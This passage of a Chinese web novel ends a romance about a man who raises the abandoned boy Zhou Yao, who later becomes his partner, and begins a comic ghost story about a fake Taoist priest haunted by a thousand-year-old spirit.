“绿豆冰沙,卖绿豆冰沙啦,一元一杯~”
不远处的叫卖声,越来越近,越来越近,宋清隽身形晃了晃,下一秒就被一个大妈扶住了。
“小伙子,你没事吧?”
关切的声音从上方响起,宋清隽稳了稳身形,眼前的景物渐渐清晰明了。抬头,对方围着围裙,眼带忧虑。
“没事。”
“没事就行,最近天热啊,小伙子出门……”
在妇人的热情里,宋清隽手里被塞了一杯绿豆冰沙。
不在状态里的宋清隽呆呆的。
他手里拿着绿豆沙,毫无目的地走着。
【宿主。】
系统的声音突然响起,宋清隽抬脚的动作一顿,声音中带着点不确定。
【系统?】
【是我,任务结束了。】
001以人的形态出现,他抬手,手心有一个光球。光球跳动着,想要往宋清隽的方向去,却被困在系统的手心里。
【他也死了?】
宋清隽敛眸,视线落在小光球上。
【是的,在你去世一小时后,他服用毒药了。】
说到这里,系统补充说道,【我还有照片,你要吗?】
宋清隽:……
【我没有那么变态。】
系统不置可否,他将自己抓拍的所有都传给了宋清隽,而最后两人躺在床上终是没有发,发的都是一些值得纪念的。
【宿主,去富龙街二十七巷,可以接回周耀。】
宋清隽心知,这是真的分离了。
【系统谢谢你。】
【不用谢。】
说着,系统的身形淡去,连带着那一个光球。
—
一个小时后,宋清隽来到了系统说的地方。刚一下车,宋清隽对这个地方有了大概的判断。坑坑洼洼的公路,路边可见的垃圾袋,密密麻麻的高楼,几乎是紧紧贴着建造的,一眼望去,挂着各式各样的衣服。
这里很乱。
人龙混杂,和他住的地方差不多。
宋清隽抬脚往里走去。
如他判断的一般,迎面碰见了三三五五成群的混子。
再怎么说,宋清隽之前也是二混混,他清楚知道,怎么才能不惹事。
在和对方对视上前,宋清隽移开了视线,走路的方向微微做了改变。
而那几个人,挤在一起,吸着烟。他们抬头看了看宋清隽,细弱细弱,手里捏紧着一杯绿豆沙,身上的衣服廉价不行,裤腿处还有个补丁,顿时消了勒索的心思。
宋清隽腿不颤,正常从几人面前走过。
他不知道,劝退对方的不是他镇定的姿态,而是贫穷。
漫无目的走着,宋清隽不知道具体位置,完全都是瞎猫碰死耗子。
最后,在宋清隽又一次拐弯的时候,他看到了垃圾桶边的小孩。
黑黢黢的,身上只裹着破布,露在外面的皮肤上,满是伤痕,清晰可见。
宋清隽离开的步伐一顿。
许是,宋清隽盯着对方看太久了,惹得对方注意到了他。
小孩扭头,恶狠狠瞪了过来。像是狼崽子的眼神,满是警惕。
在看到宋清隽后,小孩先是微微一愣,而后更为警惕了。
这里的小混混很多,多到他无法认全。
因此,不清楚宋清隽目的的他,随时做好反抗的准备。
有点熟悉。
宋清隽想,然后抬脚就朝小孩走去。
然而正是这一举动,惹得小孩爬起来,就想跑路。宋清隽还没确定,自然不会眼睁睁看着对方跑。
两三步跨过去,扯住小孩的衣服。
下一秒,刺啦一声。
衣服破了。
手里的绿豆沙也掉了。
两人都愣了一下。
反应迅速的宋清隽,换另一只手,抓住了小孩的胳膊。
衣服破了。
没衣服了。
满脑子都是这个的小孩,眼圈一红,扭头直接咬上了宋清隽的手腕。
宋清隽很瘦,瘦得营养不良。所以,没多少肉,反倒是硌小孩的牙。
宋清隽自知理亏,哄人,“别咬,我赔你。”
按理说,他这样的人性格应该是不信的。
但就鬼迷心窍了。
松开了嘴。
“叫什么?”
“周耀。”
“啧。”
怪不得,脾气这么大。
“小鬼,跟我回家不?”
周耀:……
不赔衣服了吗?
纠纠缠缠三四年,周耀一个眼神宋清隽都知道对方揣的什么想法,他乐出了声,贱兮兮说道:“要么跟我走,要么衣服别要了。”
周耀:人贩子。
但……人贩子好看。
见对方不说话,宋清隽叹息,转身准备离开。
却没动脚,就被拉住了。
周耀想,自己也不会比现在更差了。
于是,稚嫩的声音在小巷子里响起。
“
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我跟你走。”
宋清隽勾唇,扭头,嘴毒得可怕,“脏兮兮的,跟流浪狗一样。”
周耀略带难堪地低下了头,然后,视线里多出了阴影,下一秒,他被抱了起来。
头抵到男人的身上,带着皂香,周耀只觉得自己在做梦。
恍惚间,他听到对方说。
——周耀,我给你一个家,以后你就是我的了。
—
好像命运里,宋清隽就是要退学的。
不过,上一次他是被迫。
而这一次,他是主动的。
养小孩真的很费精力。
十四岁的小孩,相比同龄真的落后太多了。好在,小学周耀是上完了的。
询问周耀,对方说
——我爸染上赌博了,因为发现我妈出轨了。
说完,他又补充一句。
——不过,我是我爸亲儿子。
至于为什么周耀补充了这一句,因为他被拉到医院做过检测。
可,就算是亲儿子,该迁怒依旧迁怒。
初中,最好的那所,没有让他去。
至此,他跟死爹妈的没区别,谁都可以踩一脚。因为,他没人管。
宋清隽退学,找工作了。
因为穿了一次,宋清隽到底有些长进。他去了家附近的酒吧,应聘了钢琴手这一职位。值得庆幸的是,宋清隽法定年龄已经成年,所以,薪资方面并没有扣多少。
一月二千,是他和周耀的生活费。
这时候,宋清隽还是有些感谢他爹,抛弃他,却给他留了所房子 。
就这样,一室一卫,挤得不能行的房子,承载了两人对未来的期许。
—
“宋清隽,我去学校了,你记得吃早餐。”
如往常一样,周耀将鸡蛋和小米粥放进了留有余温的锅里。
屋里睡得模糊的人,应了一声,不忘唠叨着。
“小兔崽子,喊哥。”
周耀置若罔闻,拿起书包,将门口的钥匙一拿,关上门离开了家。
今天是高考。
也是他和宋清隽在一起生活的第四年。
下楼后,周耀骑上车子,就往学校赶去。
—
最后一个标点符号落下,为期两天的高考结束。周耀抬头,望了望天边的夕阳,脑海里浮现的是宋清隽的身影、声音,以及各种神态。
他的所有,宋清隽都没有错过。
十四岁回去当晚,宋清隽给他买了一身新衣服。
当晚,他躺在硬板床上,彻夜难眠。
他想,这一场梦,真好。
十五岁生日当晚,他有了第一个蛋糕。
昏暗的灯光下,忙碌的身影,他注意到宋清隽的衣服又添了一个补丁。
第一次许愿望,他许了一个大富大贵的愿望。
因为。
他想养宋清隽。
十六岁,他拒绝了过生日的想法。
意料之中,宋清隽骂骂咧咧,一嘴一个小鬼,一嘴一个周耀。
因为上学,周耀没听几句,就拿着钥匙离开了。
当晚,他又多了一个东西。
周耀的视线下移,方向是停自行车的地方。
——那个东西是自行车。
不便宜,对于周耀来说。
十七岁,生日当晚。
周耀没有再拒绝了。
只是,晚上多了一个人。
一个男人,长得很难看。(在他看来)
但是,宋清隽似乎很高兴,和另一个人一直喝酒。
十八岁……
他快要成年了。
“叮——考试结束,考生请停止答卷……”
周耀回神,随着播报音站了起来。
20. 第 20 章
随着人流,周耀离开了考场。
考场外挤着很多人,个个着装鲜艳,脸上带着期许。周耀驻足看了一会,没有看到宋清隽,才抬脚朝停自行车的地方走去。
“……妈,我和你说,英语真的老简单,哎,周耀,你去那里啊?”
正说着话的女孩看到周耀,下意识抬手招了招手。
周耀循声看去,是班里的数学课代表,她身边站着一位看着温婉的女人,应该是女孩的母亲了。
周耀点点头,回复,“我回家。”
“哦哦,忘了走读的,你哥哥没有来吗?”
周耀没有父母,只有一个哥哥,这是全年级都知道的事。
毕竟,周耀常年霸榜第一。
想不注意到,也难。
“上班了。”
周耀的声音里没有多少喜乐,倒是女孩眼神里多了些遗憾,她笑了笑,声音弱了些,“挺可惜的……对了,群里说要聚会,你到时候来吗?”
周耀摇头,“不去了,有兼职。”
女孩很可惜,也不好意思耽搁周耀的时间,只能说了句再见。
周耀回了一句,转身离开。
学校停自行车的地方和停轿车的地方是分开的,因此,越往那里走,越清净。
热闹渐渐远离,周耀的步子大了些。
他心想着,回去得买些什么菜。反正是辣椒不能再买了,最近宋清隽上火,嘴角有一个燎泡。宋清隽嘴挑,无辣不欢,周耀最头疼的就是宋清隽吃的方面……
“小鬼。”
熟悉的声音,周耀脚步一顿。
他转身,宋清隽抱着鲜花走了过来。
心脏骤停,周耀愣住。
今天的宋清隽不一样。
可,他的心是一样的。
对宋清隽。
不可避免,周耀胡思乱想着。
他是不是要……
“毕业快乐。”
跃入云端的心骤降,周耀脸上的笑容难以维持,那些经年掩藏的心思眼看就要破壳而出,但硬生生被周耀压下。
他略带狼狈地避开了宋清隽的视线,转身朝自己车子走去,边走边问,“你怎么来了?”
宋清隽撇嘴,怎么还不乐意了,“你高考啊,多重要。”
是挺重要的。
周耀想。
他将书包写下来,扭头递给宋清隽。宋清隽秒懂,接住书包,“摸摸花,沾点好运。”
周耀唇角扬了扬,在对方注视下,摸上了那一束月季。而后,立马收手,跨腿骑上车子,“走吧,去买菜。”
宋清隽一乐,周耀这绝对的松施感,高考跟没考一样,“不紧张吗?”
“不紧张。”
“能考进名校吗?”
“能。”
周耀问,“坐好了吗?”
“坐好了。”
“那走了?”
“走吧。”
周耀蹬踏板,车子扭扭歪歪启程,惊得宋清隽下意识用空手搂住周耀的腰。
周耀弯眸,眼里的笑装也装不下。
宋清隽慌,“慢点。”
“不会摔的。”
宋清隽轻哼一声,“摔了我就揍你。”
周耀嗯了一声,加快了速度。腰间的手不出所料,又紧了紧。周耀坏心眼,宋清隽不知道,只觉得,从耳边刮过去的风,很温暖。
夕阳而下,在道路上形成一条宽宽的光路。路上,车水马龙,他们在其中。
—
周耀十八岁了。
宋清隽觉得得大办。
周耀再一次拒绝了。
当天他要值班。
宋清隽无奈,再三询问后,确定不能调班,于是自己也去上班。
晚十一点。
周耀进屋,黑漆漆的一片。
宋清隽还没有回来。
浑身疲惫,周耀喊了一声,没有人答应。
莫名的焦灼,周耀来不及换衣服,穿着工作服出去了。
刚下楼,看到了从车子上下来的宋清隽。
以及,另一个男生。
周耀的脚步一顿,昏暗的视线里,不远处的两人似乎抱在了一起。
一种强烈失去感紧紧包裹着周耀,他浑身冰冷,血液直冲脑袋。
他今天成年了。
他和宋清隽不会再有什么关系了。
一天没吃多少东西的周耀,只觉得眼前一蒙,踉跄一步,往前摔去。
意料之外,熟悉的皂香。
“怎么了?”
周耀没有说话,他想要问那个人是谁,可,他问不出口。如果,如果宋清隽察觉到自己恶心的心意,那么……
一切将无法挽回。
“我们去医院。”
宋清隽见人不说话,有些急切。
“没事。”
周耀嘴上说着,但却没有动。
反而,又往宋清隽的怀里挤了挤。
而这一挤,他闻到了些不属于宋清隽身上的气息,很淡很淡,像是栀子花。
他们真的抱在了一起。
嫉妒心升起,周耀控制不住,所有黑暗的想法冒出。如果,如果他能把宋清隽锁起来就好……
锁起来。
这三个字,像是钥匙,记忆彻底松动。
那些关于宋清隽所有的记忆喷涌而出。
他们的过往,缠绵悱恻的日日夜夜,交颈落汗的每一次,周耀全都想起来了。
他和宋清隽,本就是爱人。
宋清隽。
本就是他的!
周耀低声笑了起来,落在身侧的手回搂住宋清隽,脑袋不断的往其脖子凑去。
宋清隽有些痒,不明所以,“怎么了?”
回应他的是痛意。
周耀在咬他的脖子。
顿时,宋清隽僵住,下意识地想要将人推开。
然而,周耀却松开了口,轻声呢喃询问,“宋清隽,你说的,我跟你走你给我一个家我就归你这句话,还算数吗?”
“嗯?”
“算数吗?”
时间太长久,宋清隽拧眉想了想,确实他说过这句话。但是,他这句话的意思,本就不是单纯的……而是另一层意思。
“我不是那个意思。”
“那是哪个意思?”
宋清隽说不出话了。
周耀冷笑一声,他仰头,手一松。宋清隽下意识就要走,然而,却被周耀先一步推到了一边的墙上,然后,被困在两手之间。
宋清隽后知后觉的不对劲。
“周耀,你——”
“别说话,清清。”
周耀扬唇,靠近,低语,“我没有认错你,所以,奖励就是你的一辈子了。”
宋清隽张嘴,还没说出的话彻底被周耀吞下。
啧,兔崽子,自己讨要奖励来了。
宋清隽无奈,心里怒骂一声,但行动上,他并没有拒绝。
……
当晚周耀的十八岁还是过了。
—
多年后,周耀毕业。
在毕业大会上,被人提问。
“周学长,听说你有女朋友了。”
周耀弯眸,摇了摇头 “我没有。”
台下的人彻底激动了起来,周耀,以理科成绩第一入校,大一参加全国数学
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竞赛,大二修完三年课程,大三成立自己创业团体,大四公司成立,如果,这样的人没有女朋友的话……
“可是,我有男朋友。”
周耀补充完后半句,提到宋清隽,他总是忍不住多说,“在一起很多年了。”
嘈杂的会堂顿时安静下来,下一秒,爆发更为嘈杂地讨论声。
周耀有男朋友的消息,迅速传开。
等到大会结束,全校都已经知道。
论坛上都是猜测,而就是这时,周耀摁着人亲的照片迅速流传开。
郁郁葱葱的树木下,穿着黑色学士服的周耀搂着白色衬衣男子的脖子。两人身高相差不多,因此看不清另一个男人的脸,只是通过白色衬衣男子落在周耀的腰上手,猜测他是一个怎么的帅气的人。
毕竟那一双堪比艺术的手,可想而知,长得会有多帅。
与论坛上的火热不同,宋清隽推了推周耀,示意他松开。
周耀松开,第一句话是,“不打紧,花没了再买。”
因为周耀突然袭击,措不及防的,花从手里脱落,本就包好的花被这么一摔,散落在地上。
“惯的你,你收拾。”
宋清隽扬眉,绕开周耀上了车。
周耀应了声好,弯腰将花全都捡了起来。
而这一幕,又迅速在论坛上流传开。
好坏参半的言论,舞不到两人面前,也只存在一时罢了。
回家后,周耀着手开始做饭。然而,还没有走到厨房,宋清隽走了进去。
“我来吧,你先洗个澡。”
前些年,宋清隽还有工作的时候,都是周耀做饭,偶尔,宋清隽不加班,做一顿饭。近些年来,宋清隽没有工作了,还是周耀做饭,偶尔,宋清隽兴起,做一顿饭。
看来,现在是宋清隽兴起的时候了。
周耀没有说什么,应下,转身回屋洗澡。
因为周耀毕业了。
所以,宋清隽开了一瓶酒,要给对方庆祝。
然而,没几杯下肚,宋清隽迷糊了。
他盯着周耀看了瞬,起身扯着对方就要回屋。
“饭还没吃。”
“回屋吃。”
周耀:……
……
又到半夜了,二楼房间里的灯才被关上。
—
周耀二十五岁那年,宋清隽二十九岁。
当年,宋清隽开始学习绘画。
学会后,宋清隽将他和周耀相遇相知相守全都画了出来,发表在自己的社交账号上。
意料之外,爆火了。
因为漫画爆火,宋清隽得到一笔巨款。
巨款到账的时候,宋清隽正好看到漫画的第三章,一副镂空的手铐,连接在漫画里的主角手腕上。然后,宋清隽心思一动,回忆着手铐的细节,再一次画了一个。
第二日,他将图纸送给了定制师。
一周后,宋清隽求婚了。
周耀加班到天昏地暗,第一句话是
——“宋清隽吃错药了?还是我做梦了。”
宋清隽气笑了,收起戒指就要离开。
然而,却被周耀直接抢走。
宋清隽气极,下一秒,周耀向他倒去。
惊得宋清隽抱起对方就往医院赶去。
最后,周耀被限制了工作时间。
——
无灾无痛,宋清隽和周耀走了下去。
走到了生命的尽头。
依旧是。
合墓而眠。
——
耀,光芒。
品行下等的宋清隽,抓住了。
——完——
21. 简介
步理回乡祭祖,因为脚贱,踩了隽宁的坟头,所以被隽宁缠上了。
最初,被缠上的时候,步理是一个万分不愿意的,他严词拒绝隽宁的请求。
住在他家里?
那是不可能的。
更何况,虽然他是个假道士,但也不能这么蔑视他吧?
还想登堂入室,门都没有!
但是,假道士遇上真色鬼,是容不得拒绝的。
色鬼得偿所愿,跟着步理回了家。
……某一次,步理看到随地扔的衣服,他恼了。
步理:滚出去。
隽宁:你踩了我的坟头,你必须负责。
步理:那个好人家的坟头是平的?
隽宁:我家!
步理:你有理。
隽宁:你当我的妻子,我就有“理”了。
步理:……
后来,步理拒绝无效,自此,他的生活中就此‘多姿多彩’了起来。
步理:不要扯我衣服!走开
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!
隽宁:你看你脖子上系的绳子,不勒吗?会死的吧。
步理:这是领带!
千年老古董你不懂的……
步理深深鄙夷着隽宁。
最后,步理真香了。
他敲着门,哄着被自己欺负狠了的小色鬼。
步理:老婆,让我进屋呗。
隽宁:不让。
虚构|2024年8月27日
步理X隽宁
左右有意义。
22. 第 22 章
又是艳阳高照的一天,火辣的太阳炙烤着大地,像是要把人烤化一样。
然而,步理却丝毫感受不到。冷气环绕在他的周围,将他和灼热的空气分隔开。
“步理,步理,你理理我嘛。”
一路了,从乡间坟头到城市街区,自从和步理谈崩了,他就再也没有被步理正眼瞧过。
不就是借住一段时间,不就是借用一下阳气嘛……大不了他就……给钱。
“你别说话。”
步理挥了挥手,这是在马路上,他还不想因为看不到被车撞死,“挡视线了。”
“步理,你阳气那么多,借我点呗?”
隽宁笑眯眯的,往一边飘了飘,长袖飞扬,如同墨色的长发,仙气飘飘的。
然而,下一秒,衣袍被步理一脚踩了上去。
隽宁:!?!
步理:糟糕,又犯贱了。
喜好干净、喜爱身上素锦衣袍的隽宁,手握紧了。
步理默默移开脚步,等待着怒火。
隽宁自己劝了自己,最后勉强一笑,像是给自己洗脑一样,不断说着,“不打紧不打紧。”
步理:……
抬脚就走,没有理自言自语的某个……鬼。
“步理,步理,你等等我嘛。”
隽宁叫魂似的喊着,急忙飘过去。
他左边飘一飘,右边飘一飘,一张小嘴叭叭叭个不停。
诉说着,他有多需要步理的——阳气。
一直到步理坐上车,回了家,他才停了下来。
站在高楼前,隽宁停了下来。
凉意渐渐消散,步理身形一顿,鬼呢?
转身,就看到了距离他十米远的……嗯鬼,对方就那么愣愣站在那里,脸颊略略红润,眼神躲闪,整个鬼看起来扭捏极了。
像是,像是在害羞。
“隽宁?”
语气里满是不确定,二十多年来,他见过所有的鬼里面,好像只有面前的,还能红温……
隽宁“嗯”一声,循声看去,视线触及到步理,他脸又红了一个度。
他真的同意我登堂入室了吗?
不然,怎么会把我领回来呢?
隽宁丝毫没想起来,是他自己飘在步理身侧,一路跟着对方回了家。
“步理,你是邀我一同进去吗?”
看着是在询问,然而,步理还没有回答,隽宁一个兴冲冲,直接飞奔向步理,然后挂在了步理的身上。
没有反应过来,步理面前多出了一张放大的人脸。得亏对方长得好看,眉目如画,唇红齿白,不然高低步理都要露一手自家的绝技。
步理,师承佑己派,祖上是个正经的捉鬼道士。只不过,到了步理这一代,只有窥伺之力,再无通天之能。
亏得建国,不然,步理放在老祖宗的年代,是被鬼追着跑的那一类。
步理清了清嗓子,十分正经,单手食指抵着身上的人,“隽宁,你真的要跟我回家?”
“然,如君所言。”
“说人话。”
“是的,就像你说的。”
隽宁,老古董一个,从衣着就能看出来,上千年的老鬼一个,虽单纯如白纸,但胜在好学。
因此,学渣步理和他交流起来,倒没有什么障碍。
“我可以拒绝吗?”
和一只鬼住在一起,步理再怎么学渣,该懂的还是懂的。
这样住在一起,长此以往损阴德折阳寿。
“不可以,是你!踩了我的坟头!”
隽宁话语里都是指责,不然他还能再睡下去的!
就因为这一踩,他直接醒了。
“你先下来。”
就这么挂在他的身上,着实有点不雅了。
虽然没有人能看到。
“步理,你好墨迹。”
隽宁撇嘴,从步理的身上飘了下来。
步理眉心一跳,怎么他墨迹了?
于是,他上下打量一番隽宁,询问道:“你哪个朝代的?”
隽宁是看过书的,在步理忙着祭祖,他摸到镇上的藏书阁,去翻了小镇上的图书馆里的书。(偶然听说,入乡随俗了)
在书里,他了解到了许多未知的知识。
当然也包括能回答步理这个问题的书。
“从你们的历史书籍来看,我大概处于春秋战国时期。”
步理诧异,一只鬼,还是上千年前的老古董,他怎么看懂了新时代的历史书籍?
不对,他家哪来的历史书籍?
虽心存疑惑,步理却没有询问,他一向对于和自己无关的没有任何探究之心。
“你和我一起住可以,不过,约法三章。”
隽宁考虑一下,觉得可行,于是点头,“你说。”
“第一,不可以靠近我。”
哈?那我阳气怎么办?怎么办?
“第二,不可以进我屋。”
哈?那我阳气怎么办!
“第三,不可以乱动我东西。”
啊!这个可以!
步理说完了,看着隽宁,对方又是皱眉又是弯眸,感觉一副不太聪明的样子,有点莫名的……憨 。
一时间,空气安静了下来。
步理等着隽宁表态,而隽宁,则是在想应对之法。
“步理,我的坟头怎么办?”
话题太过跳跃,步理一时间没有反应过来,愣了一会,后知后觉的回答,“我已经帮你迁进正规的坟地里了。”
隽宁舒展眉头,咧嘴一笑。
不好的预感袭来,下一秒,步理又被挂了。
步理:这真的成了人形挂件了。
“走,我们回家。”
隽宁催促着,伺机悄咪咪偷一点阳气。
步理闷声不响,心里倒是对这只色鬼有了新的评价。
——懒鬼。
带着人形挂件,步理抬脚往楼梯口走去。得亏隽宁不重,步理才能带着他上六楼。
六楼,一共两户,一左一右。步理带着挂件停在门口,拿着钥匙就要开门。
隽宁往后扭头,视线被后面的一户吸引住。那是柳树,很小的一盆,与花一般大小,就那么摆放在门口。
步理打开门往里走去,没走几步,只觉得身上一轻,回过头就看到了缩小版的隽宁。
小小的一只,和人形手办差不了多少。
隽宁乐呵地躺在分开的树杈上,双手往后一放,头枕着,耷拉在一边的腿晃悠悠的,看起来悠闲极了。
步理:……
人在无语的时候,总是很耐心。
步理吸了一口气,询问,“是打算住在这上面吗?”
隽宁侧头,笑眯眯的,“可以吗?”
回应隽宁的是关门声。
隽宁此刻就是丈二的和尚。
——摸不着头脑。
屋里,步理将
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背包取下放在一边的沙发上,然后径直走到了电视机前,像往常一样,他拿出了香。大拇指配合着食指,他细细碾磨一下,数了数剩余的香,不多,只剩下二十根了。
步理心沉了沉,又该赚钱了啊。
不然,祖师爷们就该吃空气了。
步理从仅剩的香里拿出了三根,把剩余的香放回原位,顺手拿去火柴盒起身去了小屋里。
两室一厅一卫的房间,一间被用来供奉着门派的祖师爷们。
步理不是没有想过放弃师门,但是吧,每一次一走,天空雷声作响,万里无云的天,就那么一直打着雷,硬生生最后逼得步理回了家才消停。
这些不干活的祖师爷,白吃饭。
步理稍微微吐槽了一番,推开门,把香给点上,拜了三拜,将香插好,转身关门离开。
刚一出门,就看到了沙发上的鬼。
正襟危坐,看到他时眼睛一亮。
遭了,又来了。
步理刚想转身,对方开了口,“步理,我饿了。”
饿了?
你知道你是只鬼吗?
饿什么饿,我也没有吃的。
步理满脑子脏话,最后说出口的是,“我没有吃的。嗯,适合鬼吃的。”
隽宁摇头,手指着柜子,“那里,有能吃的。”
步理皱眉,他怎么知道,“你翻我柜子了?”
隽宁摇头,小脸一皱,有些不开心,声音里有些控诉的意味,“我没有,你,唉,算了,我是闻出来的。”
步理一愣,这怕不是条狗?
“我没有那么厚脸皮,在你没有允许的情况下,我是不会动你的东西的。”
隽宁抿着嘴,脸边的笑意淡下去,葡萄似的眼睛,圆溜溜的,步理竟然看出了对方在伤心。
步理觉得自己魔怔了,他错开视线,转念一想,确实是自己率先下了定论,于是,他声音硬邦邦地说道:“对不起。”
不像是道歉,语气怎么那么不好。
隽宁伤心之余,有点生气。
总觉得,知错不改不好。
步理见鬼不说话,有些急躁,浑身不自在,于是开口说道:“是我不好那些香你吃吧。”
吃?
隽宁才不会那么没有骨气。
他要吃就要吃就要吃好的。
现在的他,已经看不上那名贵的香了。
“隽宁?”
不说话?
他太过分了?
“我要换一个。”
隽宁傲娇抬头,瞅着步理,眼神满是倔强。
“换什么?”
步理一时没反应过来,是那香太便宜了吗?可是他的钱也只能够买的起那个价位的东西了啊。
“隽宁,我没有其他的钱给你买香了。”
步理捂紧口袋,最近没生意,他坑蒙拐骗的少,快要揭不开锅。倘若真的再养只鬼,西北风就等着他来尝咸淡了。
“不是香,是你。”
步理一愣,他寻思着对方也没和他跨时代聊天啊,怎么就听不懂了呢?
吃他?
步理一想,隽宁确实有杀掉他的能力,他确确实实引回来了一只千年老鬼。
有点后悔。
也不知道,祖师爷能显灵不?
步理有些惆怅,“你要杀我?”
“为什么杀你?”
隽宁上下瞅瞅步理,眼里带着嫌弃的意味。
23. 第 23 章
步理气愤,他捂着嘴,满眼不可置信,而后很是凶狠的瞪着面前飘着不吭气的鬼。
初吻,特么的,没了!!!
隽宁倒是满脸的高兴,步理香香的,嘴唇软软的,阳气足足的,很适合当他的储备粮。
怎么想的,隽宁也怎么说了。
“步理,你当我储备粮吧。”
他向来是不会委屈自己的,要什么,他就要去争取。
不论结果。
“我不!”
步理很是坚定,慢半拍的头脑突然想起了隽宁一直唠叨的——想要阳气,那一刻,他好像就那么水灵灵地跟上了隽宁的脑回路。
香能饱腹,但阳气更胜一筹。
所以,他领回来了一只色鬼?
明明香可以解决的,却最后还是选择了阳气。明明阳气可以靠近他吸收的,却选择了亲,亲吻他……
隽宁,他不仅懒,还色!
步理下了结论。
“理由。”
隽宁挑眉,略带调戏意味,“步理”
步理太阳穴直跳,直觉告诉他隽宁不会说出什么好话来,于是,他直接打断,“你以后就待在客厅,这里是你住的地方!”
步理指了指破旧的沙发,一米的沙发,倘若隽宁缩小,那也是很合适的。
嗯?
住在这里?
隽宁一时忘了要说的话,四处瞅一瞅,没有床、没有被子、没有枕头,什么都没有,让他睡在这里?
有些不可置信。
“步理,你确定?”
步理点头,奔波了一天,早已经疲惫不堪,急需休息。交代后,步理也懒得再纠结初吻这件事,转身去了厨房。
隽宁见人离开,急忙起身,飘在步理身后。
步理走入厨房,轻车熟路打开冰箱。然后,他看着里面的一包方便面和一罐雪碧陷入沉思。
好穷。
他怎么会这么穷。
隽宁跟在身后,步理太高了,完完全全的挡住了他的视线。好奇心作祟,隽宁往高处飘了飘,足足比步理高了一个头,然后手摁着步理肩膀看去。
入目的东西,恰好隽宁都认识,一包方便面,以及一罐雪碧。
好穷……
无尽的沉默蔓延,步理没有动,他知道隽宁在看着。莫名的,觉得有些羞耻。
久久后,身上的重量消失。
而后,步理听到了声叹息,紧接着朗润的声音响起。
“我以后赚钱,养你。”
步理没当回事,隽宁走了倒方便他。将方便面和雪碧拿出来,步理合上了冰箱。他准备豪华一下,煮方便配冰雪碧。
明天嘛,明天再说吧。
得过且过,步理吃了个饱。饭后,想要葛优躺的步理,措不及防看到沙发上的鬼,最后,犯懒将小矮凳推开,一屁股做到了地上。
隽宁无聊,正在看电视。
一瞬不瞬,看起来认真极了。
习惯一个人了,突然多了一个人,步理说不出的难受,连带着一丝丝的惆怅。
他看了几眼隽宁后视线移到了电视上。
正在播放的是一个苦情剧,女主正哭得梨花带雨,手里拿着搞砸的合同,身边男主脸色难看训斥着,而合作者一脸难以言说的表情。
“江宁宁,我不是说了让管家送吗?”
女主抽抽涕涕,话说的断断续续,“我,我只是,想要,帮你。”
好巧不巧,这一句话直接踩雷,男主怒吼,“你不捣乱就谢天谢地了!”
步理看得嘴角抽抽,视线又移到隽宁身上,眼见对方正襟危坐的姿态变成了葛优躺,看样子,对方是享受极了。
还是一只懂得娱乐的鬼。
步理放空脑袋,坐了会,直到困倦来袭,起身回了房。
走之前,步理再三张口,交代道:“早点休息。”
隽宁目不斜视,频繁点头,应道:“晓得晓得。”
步理放心离开。
而放心的结果就是,第二天早上,眼睛还没有睁开的他听到了一句怒吼。
紧接着,是一串又一串的台词。
——“从此以后,我觉不会再缠着你”
——“带着你的不近人情”
——“带着你洋洋洒洒的爱情史”
——“去下你的地狱吧”
——“我告诉你,我不要你了”
——“我不爱你了”
步理愣住,揉眼睛的手一顿。
“早,步理。”
隽宁起身端坐起来,朝不修边幅的人打了个招呼。
内心繁杂,步理被冲击到脑袋里只剩下一句——我不爱你了。
“你”
步理张嘴,看着隽宁俊秀的脸庞,从来没有这么扎眼过,“看了一个晚上?”
隽宁扭头看了看户外艳阳高照的天,抿唇,他好像忘记了时间。
“那个步理,我”
“今晚可能要停电了。”
瞧隽宁的神情,步理就知道,他昨晚说的话没背当做话。
不过,没关系,今晚就停电了。
原因嘛,没钱了。
“为什么呢?”
隽宁不解,没电的话,怎么看后半部分?
“我穷。”
步理心安理得丢出了这么一句话,然后转身回屋洗漱。
隽宁望着步理的背影若有所思。
他得赚钱了。
—
早饭,也是高配。
步理攥着从枕头底下搜刮出来的零钱,买了一个鸡蛋。
是高贵的水煮蛋。
步理三天吃一回的那种。
鸡蛋到手,步理三步走到公共座椅处,坐了下来。
隽宁跟着步理,飘在他的身侧。他看着对方小口咬鸡蛋后的满足,想到了刚刚对方视线左移移右移移,半天拿了个鸡蛋,下定决心——养他。
就当是借用阳气的报酬了。
吃完早饭,步理开始了一天的坑蒙拐骗。
他回家换了一身衣服,青绿色的道士袍,手里握着一根杆,杆上有一个幡布,上面一个大写的道,看起来一下子高深莫测了许多。
“步理,你要干嘛?”
隽宁眉心一跳,语气一顿,继而说道:“捉鬼?”
步理摇头,“赚钱。”
捉鬼是不会的,不然也不能让你这么肆无忌惮。
“好啊,我帮你。”
步理嗯了声,算是回复,可心里到底没有信隽宁说的话。
—
步理也没有料到自己都白天出来坑蒙拐骗了,怎么还能遇到凶煞。
当周围的一切褪去,光线迅速变暗。
他就知道,又着了道。
步理心里骂了句娘,祈求着祖师爷显灵保命。他面上丝毫不显退却之意,而那
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握住木杆不自觉的紧了紧,整个人呈现出防御的姿态。
“你——可以看到我?”
红色的裙子,及地的秀发,头一百八十度旋转后,九十度倾斜看着步理。因为说话,整个面庞自嘴处裂开,像是一把斧子生生砍下去一样。
她没有腿,也没有眼球,就那么挂在中年男子的背上。
步理没有说话,双唇紧抿,移开了视线。
“叮当——”
风起,铃声响。
“滴答滴答——”
小巷子里多了些雨水嘀嗒声。
可,并没有下雨。
“你怎么——不看我啦?”
声音靠近,太近了,像是从头顶发出的声音。步理心脏一紧,像是被一只大手死死攥住一样。他垂眸,脚边的青色瓷板路颜色渐深,那是一滴又一滴的血,坠落在地,开出艳丽的花。
“我——不好看吗?”
又是一声的询问,声音空洞,带着阴冷,瞬间激起步理身上的鸡皮疙瘩。
他不敢抬头。
抬头就是死。
他一个菜鸟,什么都不会,只有这一双眼睛。
“不好看——不好看吗?”
看似喃喃自语的话,激起阵阵声波,震得步理耳膜生疼。
凉。
突如其来的凉。
像是蛇攀爬至全身,阴冷、滑腻。
步理想,对方爬了上来。
手慢慢地移动至口袋,一般工作时,他都会一沓符纸保命。虽不能杀死身上的鬼,但足矣保住他这条小命。
然而,手未到口袋,一股股的阴凉感袭来。
条件反射,步理侧眸看去。
下一秒,视线里出现了一只手。青色的,红色的血指甲,那大拇指和食指有一道长长的疤,疤痕被参差不齐的线缝合着,有短的,有长的,有的地方还没有覆盖住,一看大致能猜出来缝合之人的匆忙。
步理想,好丑。
下一秒,呼吸一窒,周围的空气像是被锁住一样。
步理如临大敌,心一横,挣脱开那只鬼手,迅速摸向自己的口袋。
“怎么,帅哥,不想和我快活一场吗?”
